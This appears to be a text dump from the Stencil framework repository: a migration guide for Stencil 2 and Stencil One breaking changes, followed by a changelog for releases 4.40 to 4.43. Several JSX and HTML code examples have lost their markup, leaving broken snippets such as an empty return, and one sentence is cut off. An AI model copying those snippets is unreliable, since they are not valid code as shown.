to the config API). But even though this is a new major version, there are few breaking changes. ### BREAKING CHANGES While migrating from Stencil One, any changes will be flagged and described by the compiler during development. For the most part, most of the changes are removal of deprecated APIs that have been printing out warning logs for quite some time now #### Opt-in for IE11, Edge 16-18 and Safari 10 Builds - **config:** update config extra defaults to not build IE11, Edge 16-18 and Safari 10 by default ([363bf59](https://github.com/stenciljs/core/commit/363bf59fc9212a771a766c21909263d6c4ccdf18)) A change in Stencil 2 is that the IE11, Edge 16-18 and Safari 10 builds will not be enabled by default. However, the ability to opt-in is still available, and can be enabled by setting each `extras` config flag to `true`. An advantage of this is less runtime within your builds. See the [config.extras docs](https://stenciljs.com/docs/config-extras) for more info. #### Opt-in for ES5 and SystemJS Builds - **config:** do not build es5 by default ([fa67d97](https://github.com/stenciljs/core/commit/fa67d97d043d12e0a3af0d868fa1746eb9e3badf)) Just like having to opt-in for IE11, the same goes for opting-in for ES5 and SystemJS builds. For a production build in Stencil 1, it would build both ES2017/ESM files, and ES5/SystemJS files. As of Stencil 2, both dev and prod builds do not create ES5/SystemJS builds. An advantage of this is having faster production builds by not having to also downlevel to es5. See the [buildEs5](https://stenciljs.com/docs/config#buildes5) for more info. #### Use `disconnectedCallback()` instead of `componentDidUnload()` - **componentDidUnload:** use disconnectedCallback instead of componentDidUnload ([4e45862](https://github.com/stenciljs/core/commit/4e45862f73609599a7195fcf5c93d9fb39492154)) When Stencil is used within other frameworks, DOM elements may be reused, making it impossible for `componentDidUnload()` to be accurate 100% of the time if it is disconnected, then re-connected, and disconnected again. Instead, `disconnectedCallback()` is the preferred way to always know if a component was disconnected from the DOM. _Note that the runtime still works for any collections that have been built with componentDidUnload(). However, updates to Stencil 2 will require it's changed to disconnectedCallback()._ #### Default to `async` task queue - **taskQueue:** set "async" taskQueue as default ([f3bb121](https://github.com/stenciljs/core/commit/f3bb121b8130e0c4e0c344eca7078ce572ad34a5)) Update taskQueue default to "async". Stencil 1 default was "congestionAsync". See [config.taskQueue](https://stenciljs.com/docs/config#taskqueue) for more info. #### Restore Stencil 1 defaults ```ts export const config: Config = { buildEs5: 'prod', extras: { cssVarsShim: true, dynamicImportShim: true, safari10: true, shadowDomShim: true, }, }; ``` #### dist package.json To ensure the extensions are built for the future and work with today's bundlers, we've found it best to use `.cjs.js` extension for CommonJS files, and `.js` for ESM files, with the idea that cjs files will no longer be needed some day, and the ESM files are the standard. _(We were using `.mjs` files, but not all of today's tooling and bundlers work well with that extension)._ If you're using the `dist` output target, update the `package.json` in the root of your project, like this: ```diff { - "main": "dist/index.js", + "main": "dist/index.cjs.js", - "module": "dist/index.mjs", + "module": "dist/index.js", - "es2015": "dist/esm/index.mjs", + "es2015": "dist/esm/index.js", - "es2017": "dist/esm/index.mjs", + "es2017": "dist/esm/index.js", - "jsnext:main": "dist/esm/index.mjs", + "jsnext:main": "dist/esm/index.js", } ``` Additionally the `dist/loader` output directory has renamed its extensions too, but since its `dist/loader/package.json` file is auto-generated, the entries were renamed too. So unless you were referencing the loader files directly you will not have to do external updates. See the [Output Folder Structure Defaults](https://github.com/stenciljs/core/blob/main/src/compiler/output-targets/readme.md) for more info. #### NodeJS Update - **node:** minimum of Node 12.10.0, recommend 14.5.0 or greater ([55331be](https://github.com/stenciljs/core/commit/55331be42f311a6e2a4e4f8ac13c01d28dc31613)) With the major release, now's a good time to update the minimum and recommended version of NodeJS. - [Node Releases](https://nodejs.org/en/about/releases/) - [node.green](https://node.green/) ***** ## Stencil One Most of the updates for the `1.0.0` release involve removing custom APIs, and continuing to leverage web-standards in order to generate future-proof components that scale. Additionally, these updates allow Stencil to further improve its tooling, with a focus on great developer experience for teams maintaining codebases across large organizations. ### BREAKING CHANGES A common issue with JSX is each separate project's use of global JSX types. Many of the required changes are in order to avoid global types, which often cause issues for apps which import from numerous packages. The other change is having each component import its renderer, such as JSX's `h()` function. #### Import `{ h }` is required In order to render JSX in Stencil apps, the `h()` function must be imported from `@stencil/core`: ```diff + import { h } from '@stencil/core'; function app() { return } ``` The `h` stands for "hyperscript", which is what JSX elements are transformed into (it's the actual function executed when rendering within the runtime). Stencil's `h` import is an equivalent to React's [React.createElement](https://reactjs.org/docs/react-without-jsx.html). This also explains why the app's `tsconfig.json` sets the `{ "jsxFactory": "h" }` config, which is detailed further in [TypeScript's JSX Factory Function Docs](https://www.typescriptlang.org/docs/handbook/jsx.html#factory-functions). You might think that `h` will be marked as "unused" by linters, but it's not! Any JSX syntax you write, is equivalent to using `h` directly, and the typescript's tooling is aware of that. ```tsx const jsx = ; ``` is the same as: ```tsx const jsx = h('ion-button', null, null); ``` #### index.html's ` + + ``` #### Collection's package.json Stencil One has changed the internal folder structure of the `dist` folder, and some entry-points are located in different location: - **"module"**: `dist/esm/index.js` => `dist/index.mjs` - **"jsnext:main**": `dist/esm/es2017/index.js` => `dist/esm/index.mjs` Make sure you update the `package.json` in the root of your project, like this: ```diff { "main": "dist/index.js", - "module": "dist/esm/index.js", + "module": "dist/index.mjs", - "es2015": "dist/esm/es2017/index.js", - "es2017": "dist/esm/es2017/index.js", - "jsnext:main": "dist/esm/es2017/index.js", + "es2015": "dist/esm/index.mjs", + "es2017": "dist/esm/index.mjs", + "jsnext:main": "dist/esm/index.mjs", } ``` #### Dependencies Some packages, specially the ones from the Stencil and Ionic core teams used some private APIs of Stencil, that's why if your collection depends of `@ionic/core`, `@stencil/router` or `@stencil/state-tunnel`, you might need to update your `package.json` to point these dependencies to the `"one"` tag. ``` "@ionic/core": "one", "@stencil/router": "^1.0.0", "@stencil/state-tunnel": "^1.0.0", "@stencil/sass": "^1.0.0", "@stencil/less": "^1.0.0", "@stencil/stylus": "^1.0.0", "@stencil/postcss": "^1.0.0", ``` #### `window.NAMESPACE` is no longer a thing Stencil will not read/write to the browser's global `window` anymore. So things like `window.App` or `window.Ionic` are gone, and should be provided by the user's code if need be. #### `@Prop() mode` is no longer reserved prop `@Prop() mode` used to be the way to define and read the current mode of a component. This API was removed since it was very local to the use case of Ionic. Instead, the `mode` can be read by using the `getMode()` method from `@stencil/core`. #### Removed: Global `JSX` For all the same reasons for now importing `h`, in order to prevent type collision in the future, we have moved to local scoped JSX namespaces. Unfortunately, this means `JSX` is no longer global and it needs to be imported from `@stencil/core`. Also, note that while the below example has the render function with a return type of `JSX.Element`, we recommend to not have a return type at all: ```tsx import { JSX, h } from '@stencil/core'; render(): JSX.Element { return } ``` - `HTMLAttributes` might not be available as a global - `JSX` #### Removed: Global `HTMLAttributes` `HTMLAttributes` used to be exposed as a global interface, just like the `JSX` namespace, but that caused type conflicts when mixing different versions of stencil in the same project. Now `HTMLAttributes` is part of `JSXBase`, exposed in `@stencil/core`: ```ts import { JSXBase } from '@stencil/core'; JSXBase.HTMLAttributes ``` #### Removed: Global `HTMLStencilElement` The global type for `HTMLStencilElement` has been removed. Instead, it's better is to use the exact type of your component, such as `HTMLIonButtonElement`. The HTML types are automatically generated within the `components.d.ts` file. #### Removed: Global `StencilIntrinsicElement` The global type `StencilIntrinsicElement` has been removed. It can be replaced by importing the `JSX` namespace from `@stencil/core`: ```tsx import { JSX } from '@stencil/core'; export type StencilIntrinsicElement = JSX.IntrinsicElement; ``` #### Removed: @Listen('event.KEY’) It's no longer possible to use the `event.KEY` syntax in the `@Listen` decorator in order to only listen for specific key strokes. Instead, the browser already implements easy-to-use APIs: **BEFORE:** ```ts @Listen('keydown.enter') onEnter() { console.log('enter pressed'); } ``` **AFTER:** ```ts @Listen('keydown') onEnter(ev: KeyboardEvent) { if (ev.key === 'Enter') { console.log('enter pressed'); } } ``` #### Removed: @Listen('event’, { enabled }) It's not possible to programmatically enable/disable an event listener defined using the `@Listen()` decorator. Please use the DOM API directly (`addEventListener` / `removeEventListener`). #### Removed: @Listen('event’, { eventName }) The event name should be provided excl #### Removed: @Component({ host }) This feature was deprecated a long time ago, and it is being removed definitely from Stencil. #### `mockDocument()` and `mockWindow()` has been moved The `mockDocument()` and `mockWindow()` functions previously in `@stencil/core/mock-dom` has been moved to: `@stencil/core/testing`: ```diff - import { mockDocument, mockWindow } from '@stencil/core/mock-dom'; + import { mockDocument, mockWindow } from '@stencil/core/testing'; ``` ### DEPRECATIONS #### outputTarget "docs" The output target "docs" has been renamed to "docs-readme": In your `stencil.config.ts` file: ```diff export const config = { outputTargets: [ { - type: 'docs', + type: 'docs-readme', } ] }; ``` #### `hostData()` hostData() usage has been replaced by the new `Host` exposed in `@stencil/core`. The `` JSX element represents the "host" element of the component, and simplifies being able to add attributes and CSS classes to the host element: ```diff + import { Host } from '@stencil/core'; - hostData() { - return { - 'class': { - 'my-class': true, - 'disabled': this.isDisabled - }, - attr: this.attrValue - }; - } render() { return ( + ); } ``` #### All void methods return promise (right now method(): void is valid) Until Stencil 1.0, public component methods decorated with `@Method()` could only return `Promise<...>` or `void`. Now, only the `async` methods are supported, meaning that retuning `void` is not valid. ```diff @Method() - doSomething() { + async doSomething() { console.log('hello'); } ``` This change was motivated by the fact that Stencil's 1.0 runtime will be able to proxy all component method calls! That means, developers will be able to call component methods safely without using componentOnReady()! even if the actual component has not been downloaded yet. ##### Given an example component like: ```ts @Component(...) export class Cmp { @Method() async doSomething() { console.log('called'); } } ``` **BEFORE:** ```ts // Calling `componentOnReady()` was required in order to make sure the "component" // was properly lazy loaded and the methods are available. await element.componentOnReady() element.doSomething(); ``` **AFTER:** ```ts // Stencil One will automatically proxy the method call (like an RPC), // and it's safe to call any method without using `componentOnReady()`. await element.doSomething(); ``` #### `@Listen('TARGET:event’)` The first argument of the `@Listen()` decorator is now only the event name, such as `click` or `resize`. Previously you could set the target of the listener by prefixing the event name with something like `window:resize`. Instead, the target is now set using the options. ```diff - @Listen('window:event') + @Listen('event’, { target: 'window' }) - @Listen('document:event') + @Listen('event’, { target: 'document' }) - @Listen('body:event’) + @Listen('event’, { target: 'body’ }) - @Listen('parent:event’) + @Listen('event’, { target: 'parent’ }) ``` This change was motivated by the fact that `body:event` is a valid DOM event name. In addition, the new syntax allows for strong typing, since the `{target}` only accepts the following string values (`'window'`, `'document'`, `'body'`, `'parent'`). #### `@Prop({context})` Using the `@Prop` decorator with the `context` has been deprecated and their usage is highly unrecommended. Here's how update each case: ##### `'window'` Accessing `window` using `Prop({context: 'window'})` was previously required because of Server-side-rendering requirements, fortunately this is no longer needed, and developers can use global `window` directly. - `Prop({context: 'window'})` becomes `window` ```diff - @Prop({context: 'window'}) win!: Window; method() { // print window - console.log(this.win); + console.log(window); } ``` ##### `'document'` Accessing `document` using `Prop({context: 'document'})` was previously required because of Server-side-rendering requirements, fortunately this is no longer needed, and developers can use global `document` directly. - `Prop({context: 'document'})` becomes `document` ```diff - @Prop({context: 'document'}) doc!: Document; method() { // print document - console.log(this.doc); + console.log(document); } ``` ##### `'isServer'` In order to determine if the your component is being rendered in the browser or the server as part of some prerendering/ssr process, stencil exposes a compiler-time constant through the `Build` object, exposed in `@stencil/core`: - `Prop({context: 'isServer'})` becomes `!Build.isBrowser` ```diff + import { Build } from '@stencil/core'; [...] - @Prop({context: 'isServer'}) isServer!: boolean; method() { - if (!this.isServer) { + if (Build.isBrowser) { console.log('only log in the browser'); } } ``` #### `@Prop(connect)` It will not be recommended to use `@Prop(connect)` in order to lazily load components. Instead it's recommended to use ES Modules and/or dynamic imports to load code lazily. #### `@Component.assetsDir` ```diff @Component({ - assetsDir: 'resource', + assetsDirs: ['resource'] }) ``` #### OutputTarget local copy tasks The root `copy` property in `stencil.config.ts` has been deprecated in favor of local copy tasks per output-target, ie. now the copy tasks are specific under the context of each output-target. ```diff const copy = export const config = { outputTargets: [ { type: 'www', + copy: [ + { + src: 'index-module.html', + dest: 'index-module.html' + } + ] } ], - copy: [ - { - src: 'index-module.html', - dest: 'index-module.html' - } - ] }; ``` This change has been motivated by the confusing semantics of the root copy task, currently the copy tasks are executed multiple times within different working-directories for each output-target. Take this example: ```ts export const config = { outputTargets: [ { type: 'dist' }, { type: 'dist', dir: 'dist-app' }, { type: 'www' } ], copy: [ { src: 'main.html' } ] }; ``` In the example above, the `main.html` file is actually copied into 5 different places!! - dist/collection/main.html - dist/app/main.html - dist-app/collection/main.html - dist-app/app/main.html - www/main.html If the old behavior is still desired, the config can be refactored to: ```ts const copy = [ { src: 'main.html' } ]; export const config = { outputTargets: [ { type: 'dist', copy }, { type: 'dist', dir: 'dist-app', copy }, { type: 'www', copy } ] }; ``` ### New APIs #### setMode() and getMode() #### getAssetsPath(this, relativePath) #### `dist-module` output target ### Testing #### `newSpecPage()` Spec Testing Utility A new testing utility has been created to make it easier to unit test components. Its API is similar to `newE2EPage()` for consistency, but internally `newSpecPage()` does not use Puppeteer, but rather runs on top of a pure Node environment. Additionally, user code should not have to be written with legacy CommonJS, and code can safely use global browser variables such as `window` and `document`. In the example below, a mock `CmpA` component was created in the test, but it could have also imported numerous existing components and registered them into the test using the `components` config. The returned `page` variable also has a `root` property, which is convenience property to get the top-level component found in the test. ```tsx import { Component, Prop } from '@stencil/core'; import { newSpecPage } from '@stencil/core/testing'; it('override default values from attribute', async () => { @Component({ tag: 'cmp-a' }) class CmpA { @Prop() someProp = ''; render() { return `${this.someProp}`; } } const page = await newSpecPage({ components: [CmpA], html: ``, }); // "root" is a convenience property which is the // the top level component found in the test expect(page.root).toEqualHtml(` value `); expect(page.root.someProp).toBe('value'); }); ``` #### Serialized `` Traditionally, when a component is serialized to a string its shadow-root is ignored and not include within the HTML output. However, when building web components and using Shadow DOM, the nodes generated within the components are just as important as any other nodes to be tested. For this reason, both spec and e2e tests will serialize the shadow-root content into a mocked `` element. Note that this serialized shadow-root is simply for testing and comparing values, and is not used at browser runtime. ```tsx import { Component } from '@stencil/core'; import { newSpecPage } from '@stencil/core/testing'; it('test shadow root innerHTML', async () => { @Component({ tag: 'cmp-a', shadow: true }) class CmpA { render() { return (
Shadow Content
); } } const page = await newSpecPage({ components: [CmpA], html: ` Light Content `, }); expect(page.root).toEqualHtml(`
Shadow Content
Light Content
`); }); ``` #### Jest Presets When running Jest directly, previously most of Jest had to be manually configured within each app's `package.json`, and required the `transform` config to be manually wired up to Stencil's `jest.preprocessor.js`. With the latest changes, most of the Jest config can be replaced with just `"preset": "@stencil/core/testing"`. You can still override the preset defaults, but it's best to start with the defaults first. Also note, the Jest config can be avoided entirely by using the `stencil test --spec` command rather than calling Jest directly. ```diff "jest": { + "preset": "@stencil/core/testing" - "transform": { - "^.+\\.(ts|tsx)$": "/node_modules/@stencil/core/testing/jest.preprocessor.js" - }, - "testRegex": "(/__tests__/.*|\\.(test|spec))\\.(tsx?|jsx?)$", - "moduleFileExtensions": [ - "ts", - "tsx", - "js", - "json", - "jsx" - ] } ``` ================================================ FILE: CHANGELOG.md ================================================ ## 🐕 [4.43.3](https://github.com/stenciljs/core/compare/v4.43.2...v4.43.3) (2026-03-19) ### Features * **testing:** deprecate all integrated testing options ([#6642](https://github.com/stenciljs/core/issues/6642)) ([02f91b3](https://github.com/stenciljs/core/commit/02f91b3b59461d55ea8527b328cd48056cb6130a)) ## 🌙 [4.43.2](https://github.com/stenciljs/core/compare/v4.43.1...v4.43.2) (2026-02-27) ### Bug Fixes * add missing `part` setter to MockElement ([#6612](https://github.com/stenciljs/core/issues/6612)) ([abfdd57](https://github.com/stenciljs/core/commit/abfdd57e04d0422a12ad189f2066090315265e02)) * **compiler:** mixin jsx processing ([#6615](https://github.com/stenciljs/core/issues/6615)) ([ccda746](https://github.com/stenciljs/core/commit/ccda746e50ae90b10ad11b8d56182f59537ff598)) * **compiler:** proper discovery and processing of external mixins / classes ([#6620](https://github.com/stenciljs/core/issues/6620)) ([0ee951e](https://github.com/stenciljs/core/commit/0ee951eca3b21facfd48afd90bd16ed5ef7877b0)) * **dist-custom-elements:** stop `render` function being stripped from imports ([#6623](https://github.com/stenciljs/core/issues/6623)) ([cd33ccb](https://github.com/stenciljs/core/commit/cd33ccb270761be9a3e2f9f4668231ff53bb42f7)) * **runtime:** init prop reactivity when ele.prop === instance.prop ([#6614](https://github.com/stenciljs/core/issues/6614)) ([ad6a344](https://github.com/stenciljs/core/commit/ad6a344cbe7145f8e810c322c608ed422d17a8b4)) * **runtime:** mixin get / set `@Prop` infinite loop ([#6618](https://github.com/stenciljs/core/issues/6618)) ([11201b5](https://github.com/stenciljs/core/commit/11201b5565b6122e6b9ad38014b21004d27904c1)) * **types:** provide warnings for ts 4094; anon classes may not be private or protected ([#6613](https://github.com/stenciljs/core/issues/6613)) ([3fbc441](https://github.com/stenciljs/core/commit/3fbc441849f82d6b2b88c3c79883f3a2a704d0a0)) * **types:** raise typescript errors even without `components.d.ts` ([#6616](https://github.com/stenciljs/core/issues/6616)) ([827d0d6](https://github.com/stenciljs/core/commit/827d0d6a61a90f288310070deae12c2a50e149a3)) ## 🏹 [4.43.1](https://github.com/stenciljs/core/compare/v4.43.0...v4.43.1) (2026-02-20) ### Bug Fixes * **compiler:** update rollup to fix watch hang ([#6603](https://github.com/stenciljs/core/issues/6603)) ([205856b](https://github.com/stenciljs/core/commit/205856b5fe2e15434938812c48d7b0e62a71f058)), closes [#6602](https://github.com/stenciljs/core/issues/6602) * **declarations:** add rest params to h() ([#6604](https://github.com/stenciljs/core/issues/6604)) ([4d322a7](https://github.com/stenciljs/core/commit/4d322a75878cc14604c7b2cd747cdc3c17249fa5)), closes [#6181](https://github.com/stenciljs/core/issues/6181) * **hmr:** non-shadow component styles within shadow parent ([#6601](https://github.com/stenciljs/core/issues/6601)) ([fc14281](https://github.com/stenciljs/core/commit/fc142814c67b4911b60cc15db912294fef87da81)) # 👒 [4.43.0](https://github.com/stenciljs/core/compare/v4.42.1...v4.43.0) (2026-02-13) ### Bug Fixes * **compiler:** JSX Runtime Hydration Failure ([#6595](https://github.com/stenciljs/core/issues/6595)) ([8a34ac5](https://github.com/stenciljs/core/commit/8a34ac5cac109d8db83d0fe55dadb522e3b7c379)) ### Features * **dist-custom-elements:** new `autoLoader` option ([#6594](https://github.com/stenciljs/core/issues/6594)) ([e130b7a](https://github.com/stenciljs/core/commit/e130b7aa5f126684ccfa9bfd64e7ed438d1722a2)) ## 🌍 [4.42.1](https://github.com/stenciljs/core/compare/v4.42.0...v4.42.1) (2026-02-06) ### Bug Fixes * **compiler:** make `resolveVar` for import ([#6588](https://github.com/stenciljs/core/issues/6588)) ([e4eeb37](https://github.com/stenciljs/core/commit/e4eeb370d133c1e431f6513cbb1b2587fef01ab3)) * **compiler:** scrape build-conditionals from `FunctionalComponents` ([#6586](https://github.com/stenciljs/core/issues/6586)) ([d63bf5d](https://github.com/stenciljs/core/commit/d63bf5d8849eadd22d0644c00812aec8ff813ec6)) * **css:** make scoped 'slotted' selector replacement less greedy ([#6580](https://github.com/stenciljs/core/issues/6580)) ([10e6184](https://github.com/stenciljs/core/commit/10e61848cf8b0030e55be07f002be30c1cf2779e)) * **docs:** preserve css properties outside of production builds ([#6579](https://github.com/stenciljs/core/issues/6579)) ([69d331e](https://github.com/stenciljs/core/commit/69d331e85b9d4d6264689172e7051c211fe43404)) * **mock-doc:** add global instanceof `HTMLElement` / `SVGElement` plus new `MockLabelElement` ([#6581](https://github.com/stenciljs/core/issues/6581)) ([756b7aa](https://github.com/stenciljs/core/commit/756b7aadd203448feca54411477f5aad973f5a4d)) * **runtime:** `dist` parent should hydrate even when children fail ([#6583](https://github.com/stenciljs/core/issues/6583)) ([50ad901](https://github.com/stenciljs/core/commit/50ad9014e1a12ab21d1268c3651e921802783310)) * **runtime:** call `componentShouldUpdate` for every prop changed ([#6587](https://github.com/stenciljs/core/issues/6587)) ([dd4d2e6](https://github.com/stenciljs/core/commit/dd4d2e6ff43d6721e2ef914a3bdaf33f9c243c4e)) * **types:** don't include `[@internal](https://github.com/internal)` properties in dist build required fields ([#6585](https://github.com/stenciljs/core/issues/6585)) ([6136a67](https://github.com/stenciljs/core/commit/6136a67c441c3e7f0e25acb9643eb8f4ffe7d27d)) # 🚑 [4.42.0](https://github.com/stenciljs/core/compare/v4.41.3...v4.42.0) (2026-02-01) ### Bug Fixes * **runtime:** use strict comparison when updating properties ([#6573](https://github.com/stenciljs/core/issues/6573)) ([e8dfc09](https://github.com/stenciljs/core/commit/e8dfc0973e25de29de395ea4130d9feb3f11b9dc)) * **types:** css import type ([#6569](https://github.com/stenciljs/core/issues/6569)) ([60802fc](https://github.com/stenciljs/core/commit/60802fce9e521e50a98533c4ded58f23b8739429)) ### Features * **compiler:** `CustomStateSet` support ([#6574](https://github.com/stenciljs/core/issues/6574)) ([cce1e23](https://github.com/stenciljs/core/commit/cce1e2328d1d9ba290ef10342c0bcb659b2bff36)) * **docs:** new `docs-custom-elements-manifest` output ([#6568](https://github.com/stenciljs/core/issues/6568)) ([df9d198](https://github.com/stenciljs/core/commit/df9d198b815bab381ab13ca444e7f85c99f6b077)) * **hydrate-script:** add `generatePackageJson` option to `dist-hydrate-script` ([#6571](https://github.com/stenciljs/core/issues/6571)) ([f2dbed7](https://github.com/stenciljs/core/commit/f2dbed7c7162147446e084541d67ef322639b3b0)) * **jsx:** `attr:` / `prop:` prefixes ([#6575](https://github.com/stenciljs/core/issues/6575)) ([aa599da](https://github.com/stenciljs/core/commit/aa599dabefd5df1058a512e03b785387e32e88d4)) * **runtime:** Remove redundant SSR style elements after adoptedStyleSheets adoption ([#6576](https://github.com/stenciljs/core/issues/6576)) ([bc90887](https://github.com/stenciljs/core/commit/bc9088793774bfd307800422a762362b4de603cd)) ## 🎇 [4.41.3](https://github.com/stenciljs/core/compare/v4.41.2...v4.41.3) (2026-01-23) ### Bug Fixes * **build:** auto add `name`, `form` and `disabled` to `formAssociated` components ([#6561](https://github.com/stenciljs/core/issues/6561)) ([4e19b99](https://github.com/stenciljs/core/commit/4e19b99dca2b8433d5ae0568eb30e58391b64264)) * **runtime:** `ref` callback order ([#6552](https://github.com/stenciljs/core/issues/6552)) ([e006cf7](https://github.com/stenciljs/core/commit/e006cf74ab49d1b534109dc315e51890f0f7a477)) * **runtime:** PropSerialize not called for JSX props before instance creation ([#6558](https://github.com/stenciljs/core/issues/6558)) ([88b3315](https://github.com/stenciljs/core/commit/88b3315c19dd1a7e41054e1a9e3ab028ad3fb7d8)) * **ssr:** support jsxImportSource within hydrate-script output ([#6563](https://github.com/stenciljs/core/issues/6563)) ([5ca9668](https://github.com/stenciljs/core/commit/5ca96689acba81c35c4b244d5f4ad6f06eaad5ac)) * **testing:** initialise mock-doc `childNodes` with get / set. Allows patching during tests ([#6564](https://github.com/stenciljs/core/issues/6564)) ([dbaa9fb](https://github.com/stenciljs/core/commit/dbaa9fbc288e045709f87a8cbb172aef26142472)) ## 🐝 [4.41.2](https://github.com/stenciljs/core/compare/v4.41.1...v4.41.2) (2026-01-16) ### Bug Fixes * **mock-doc:** handle undefined delay in setTimeout/setInterval ([#6539](https://github.com/stenciljs/core/issues/6539)) ([0d3a068](https://github.com/stenciljs/core/commit/0d3a068ed27185cefe63649e6625c2d4437c7788)) * **runtime:** bundle size ([#6549](https://github.com/stenciljs/core/issues/6549)) ([3de7ba6](https://github.com/stenciljs/core/commit/3de7ba6844cc7ed3cd961a185f7f06a37391f6f9)) * **runtime:** style elements use `textContent` for TrustedHTML assignment ([#6544](https://github.com/stenciljs/core/issues/6544)) ([a708bdc](https://github.com/stenciljs/core/commit/a708bdc430c8d4c752e88b9f5e71c52302f76ef3)) * **runtime:** various jsx-runtime behaviours ([#6538](https://github.com/stenciljs/core/issues/6538)) ([8f9efc5](https://github.com/stenciljs/core/commit/8f9efc5570983ff4d03580f4000ae5f844e7f641)) * **ssr:** style re-attachment, replaying init animations ([#6540](https://github.com/stenciljs/core/issues/6540)) ([43608fa](https://github.com/stenciljs/core/commit/43608fa32791c897ec06b1884616bde2a10ac307)) * **testing:** support `jsxImportSource` in internal jest test runner ([#6547](https://github.com/stenciljs/core/issues/6547)) ([6ac3b51](https://github.com/stenciljs/core/commit/6ac3b517a89434fb4c7a38d36a0fd786a5089310)) ## 🌴 [4.41.1](https://github.com/stenciljs/core/compare/v4.41.0...v4.41.1) (2026-01-08) ### Bug Fixes * **runtime:** fix jsxImportSource Fragment handling ([#6531](https://github.com/stenciljs/core/issues/6531)) ([953346e](https://github.com/stenciljs/core/commit/953346ebb2211dcb1826ee9b4bb1d153c92e6caf)) * **ssr:** remove global hack to stop duplicate tagTransformer instances ([#6529](https://github.com/stenciljs/core/issues/6529)) ([4bb24de](https://github.com/stenciljs/core/commit/4bb24dee2927491601c7b28f71fa099da52d2128)) * **types:** add IntrinsicElements to jsximportSource runtime definitions ([#6532](https://github.com/stenciljs/core/issues/6532)) ([0fa0bc8](https://github.com/stenciljs/core/commit/0fa0bc8e56bc6faabd9585e458d9687ea6fcdf44)) * **types:** FunctionalComponent can return null for jsxImportSource ([#6533](https://github.com/stenciljs/core/issues/6533)) ([82b47b8](https://github.com/stenciljs/core/commit/82b47b8e90b6eeaf916733d2ae05d0908916f9c9)) # 🏂 [4.41.0](https://github.com/stenciljs/core/compare/v4.40.1...v4.41.0) (2026-01-02) ### Bug Fixes * **build:** always fail build on typescript failure ([#6520](https://github.com/stenciljs/core/issues/6520)) ([74aea99](https://github.com/stenciljs/core/commit/74aea99dffda483418ce8e61707b3dc50eb749a2)) * **cli:** `--stats` accepts optional path string as per documentation ([#6524](https://github.com/stenciljs/core/issues/6524)) ([42ebdfa](https://github.com/stenciljs/core/commit/42ebdfaaa9bc3b0c7600525f2a86f4cd09a3d97e)) * **compiler:** stop error from globalScript lack of default export ([#6527](https://github.com/stenciljs/core/issues/6527)) ([ba03ccf](https://github.com/stenciljs/core/commit/ba03ccf8f6caa0b19699e5931cc5fa231cd14fff)) * **css:** strip line breaks from final template literal ([#6517](https://github.com/stenciljs/core/issues/6517)) ([dfeeaec](https://github.com/stenciljs/core/commit/dfeeaecc82a3696db2ea3076f649c8088df5c12c)) * **runtime:** allow `cloneNode` patch even without ([#6513](https://github.com/stenciljs/core/issues/6513)) ([e893bd1](https://github.com/stenciljs/core/commit/e893bd13a851586532cbfac66d7213c28d0f09ca)) * **runtime:** delay non-shadow onConnectedCallback; make sure slotted content is available ([#6519](https://github.com/stenciljs/core/issues/6519)) ([9e38aa7](https://github.com/stenciljs/core/commit/9e38aa7a06f7afd722812e748e213ad2f1457da5)) * **runtime:** update non-shadow slotted content visibility via dynamic `` ([#6514](https://github.com/stenciljs/core/issues/6514)) ([cdcd873](https://github.com/stenciljs/core/commit/cdcd873a03de2534715320e6c758a808cab08ce1)) * **testing:** jest / mixin related errors ([#6512](https://github.com/stenciljs/core/issues/6512)) ([5c17422](https://github.com/stenciljs/core/commit/5c17422eee67ffff6f1166374e43d218ba82905f)) * **types:** components.d.ts - correctly import / export used enums ([#6522](https://github.com/stenciljs/core/issues/6522)) ([e243c6f](https://github.com/stenciljs/core/commit/e243c6f73ff8632851152b0b2f6a88eaa87c1bf4)) ### Features * **dev-server:** new `strictPort` property ([#6523](https://github.com/stenciljs/core/issues/6523)) ([cc12853](https://github.com/stenciljs/core/commit/cc1285363d85d87d5e686adcb7f5e9d93b7829b7)) * **runtime:** support tsconfig `jsxImportSource` (`h` import no longer necessary) ([#6525](https://github.com/stenciljs/core/issues/6525)) ([6482533](https://github.com/stenciljs/core/commit/648253360793cc6909aa631fe44dd34599e9d4e2)) ## 🐂 [4.40.1](https://github.com/stenciljs/core/compare/v4.40.0...v4.40.1) (2025-12-23) ### Bug Fixes * **compiler:** docs generation when using `excludedComponents` ([#6509](https://github.com/stenciljs/core/issues/6509)) ([4209437](https://github.com/stenciljs/core/commit/4209437ff371671a13fd0085611ab92abb73c1f5)) * **css:** `@container` query parsing ([#6508](https://github.com/stenciljs/core/issues/6508)) ([208a105](https://github.com/stenciljs/core/commit/208a1050c23d6de985c33d4f4a273d93e7b39a3b)) * **css:** escape backslashes ([#6506](https://github.com/stenciljs/core/issues/6506)) ([758b8ee](https://github.com/stenciljs/core/commit/758b8ee024a26da938dd335bf3c96be7269d9317)) * **runtime:** more robust `supportsConstructableStylesheets` test ([#6510](https://github.com/stenciljs/core/issues/6510)) ([484b1b8](https://github.com/stenciljs/core/commit/484b1b8682bc0ff9becedb5f180afa66e50c46fb)) # 🍌 [4.40.0](https://github.com/stenciljs/core/compare/v4.39.0...v4.40.0) (2025-12-23) ### Bug Fixes * **compiler:** minify dist-custom-elements and hydrate-script ([#6482](https://github.com/stenciljs/core/issues/6482)) ([ec043cd](https://github.com/stenciljs/core/commit/ec043cdd0fc0fe5179e7b125039afbd034ea41a6)) * **compiler:** resolve node_modules css imports ([#6493](https://github.com/stenciljs/core/issues/6493)) ([84ac5b8](https://github.com/stenciljs/core/commit/84ac5b8cbe85be26cdf01bfa5d34fe455b853e6e)) * **css:** css imports with functions and media queries ([#6474](https://github.com/stenciljs/core/issues/6474)) ([249f84a](https://github.com/stenciljs/core/commit/249f84aab3f3597d132563907732b80d6ae1aade)) * **css:** enable parsing of native, nested css selectors ([#6480](https://github.com/stenciljs/core/issues/6480)) ([3506686](https://github.com/stenciljs/core/commit/35066867e13669ac1d19fb168e3ae85dc4dd42b6)) * **css:** pseudo-element selectors in nested media queries ([#6486](https://github.com/stenciljs/core/issues/6486)) ([20ce1ce](https://github.com/stenciljs/core/commit/20ce1ce3d5dd801f3648e5052891efff4965212b)) * **css:** strip comments before adding css to js ([#6487](https://github.com/stenciljs/core/issues/6487)) ([2892b4f](https://github.com/stenciljs/core/commit/2892b4f486f79db7ba19ab54b9c500e210cda926)) * **css:** vanilla css live-reload & added globalStyles to dev `\n\n\n

This Stencil app is disabled for this browser.

\n\n

Developers:

\n
    \n
  • ES5 builds are disabled during development to take advantage of 2x faster build times.
  • \n
  • Please see the example below or our config docs if you would like to develop on a browser that does not fully support ES2017 and custom elements.
  • \n
